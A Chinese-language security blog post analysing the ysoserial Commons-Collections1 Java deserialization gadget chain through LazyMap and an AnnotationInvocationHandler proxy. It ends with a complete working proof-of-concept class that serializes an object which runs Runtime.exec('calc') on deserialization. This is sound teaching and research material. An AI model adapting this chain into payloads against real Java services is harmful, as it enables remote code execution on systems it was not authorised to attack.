ysoserial之Commons-Collections1链
之前写过一篇Commons-Collections1链,但是可以发现跟ysoserial中的cc1链有些不一样,所以现在来写一下ysoserial中的cc1链。
ysoserial中cc1链:
可以看到后半部分到ChainedTransformer.transform()
还是一样的,只是在这里用的是LazyMap
类,所以就直接从LazyMap
开始分析
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
测试环境:
jdk1.7.0_80
commons-collections-3.2.1
cc1链分析:
先看get
方法:通过factory
调用transform
,并且factory
可控
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
再看什么地方调用了get
方法,这里其实非常难找,可以看到大概有一千多个地方调用了get
方法,所以我们就直接看ysoserial中用到了哪一个。
AnnotationInvocationHandler.invoke()
还是这个类,不过用到了里面的invoke
方法。熟悉java的可能都会知道,这个invoke
实际上是实现了动态代理模式,可以看到里面调用了get
方法。这里可以参考这个视频:https://www.bilibili.com/video/BV16h411z7o9?p=4
现在就是如何实现动态代理让他自动去调用invoke
方法,看invoke
中怎么才能调用get
方法。
这里需要满足两个条件
首先这里不能调用equals方法
并且调用的方法必须是一个无参的方法,不然会报错
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
//首先这里不能调用equals方法
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
//并且必须是一个无参的方法,不然会报错
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
随后在AnnotationInvocationHandler
中的readObject
方法中恰好调用了一个无参的方法
Iterator var4 = this.memberValues.entrySet().iterator();
并且可以看到private final Map<String, Object> memberValues;
,memberValues
是一个Map
,因此我们只需要代理一个Map去调用invoke
方法
接下来开始构造POC,先实例化一个实现了InvocationHandler接口的类实例AnnotationInvocationHandler
,同时给factory
赋值为lazyMap
,使其能够调用get
方法
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);;
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Target.class, lazyMap);
随后通过Proxy
类去代理Map
了,再通过AnnotationInvocationHandler
中的readObject
去调用代理的Map
Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, h);
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, mapProxy);
最后序列化这个类,一开始的ChainedTransformer
就是跟之前的cc1链一样的
最终POC为:
import org.apache.commons.collections.Factory;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class YsoserialCC1{
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);;
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Target.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, h);
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, mapProxy);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
ois.readObject();
}
参考链接:
https://www.bilibili.com/video/BV1yP4y1p7N7?spm_id_from=333.999.0.0
Comments | NOTHING